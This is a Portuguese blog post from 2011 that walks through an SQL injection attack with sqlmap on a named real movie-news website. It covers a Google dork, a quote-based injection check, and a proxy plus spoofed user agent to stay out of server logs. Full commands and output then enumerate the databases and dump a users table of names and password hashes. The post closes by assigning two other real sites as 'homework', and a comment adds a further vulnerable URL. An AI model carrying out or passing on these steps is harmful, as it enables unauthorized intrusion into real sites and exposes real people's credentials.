terça-feira, 12 de abril de 2011

Isso é coisa para skiddie e não hacker

Recentemente estive conversando com alguns amigos sobre SQL injection, e no decorrer da conversa enfatizei que infelizmente apesar da divulgação da técnica e dos riscos e conseguencias que ela traz para as empresas há um descaso por muitas organizações sobre o assunto, tanto é que escrevi um post  chamado "Sites Vulneráveis - agora quero ver" em forma de protesto, leia o post e veja como é fácil descobrir sites vulneráveis a sqli e explorá-los.

Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.

De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.

1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:

inurl:.php?id=

Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:

http://www.comingsoon.net/news/movienews.php?id=67468'

Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".

2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:

http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm

3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla

4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h

Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468

[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0

Agora sabemos que é um Apache e um MySQL.

Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema

Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted

Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments             |
| bomments_filter_string       |
| category_online_count        |
| comments_disabled            |
| comments_filter              |
| hit_ip_table                 |
| hit_table                    |
| ip_filter                    |
| NEX_@ATEGORIES               |
| NEX_ARTICLE_CATEGORY_MAP     |
| NEX_ARTICLE_FIELD_CONTENT    |
| NEX_ARTICLE_IMAGE_MAP        |
| NEX_ARTICLES                 |
| NEX_BG                       |
| NEX_BOXOFFICERANK            |
| NEX_BOXOFFICEWEEK            |
| NEX_CATEGORY_FIELD_ORDER     |
| NEX_FEATUREBOX               |
| NEX_FIELDS                   |
| NEX_GENRE                    |
| NEX_IMAGES                   |
| NEX_TALENT                   |
| NEX_USER_CATEGORY_MAP        |
| NEX_USERS                    |
| release_date                 |
| sessions                     |
| t                            |
| talent_article_process_queue |
| test_table                   |
+------------------------------+

Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| access   | varchar(20)  |
| email    | varchar(255) |
| name     | varchar(255) |
| password | varchar(50)  |
| title    | varchar(255) |
| user_id  | int(11)      |
+----------+--------------+


#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[15 entries]

+---------------+------------------------------------+
| name          | password                           |
+---------------+------------------------------------+
| Aric          | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris         | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells   | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton  | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed            | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino          | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John          | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh          | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko         | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess       | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler   | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten   | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott         | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou   | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+

Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.

Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742

by Osvaldo H Peixoto

Um comentário:

  1. anonymous - vulnerability

    http://www.camposdojordao.com.br/leitor-campos-tv-turismo.php?video_id=

    ResponderExcluir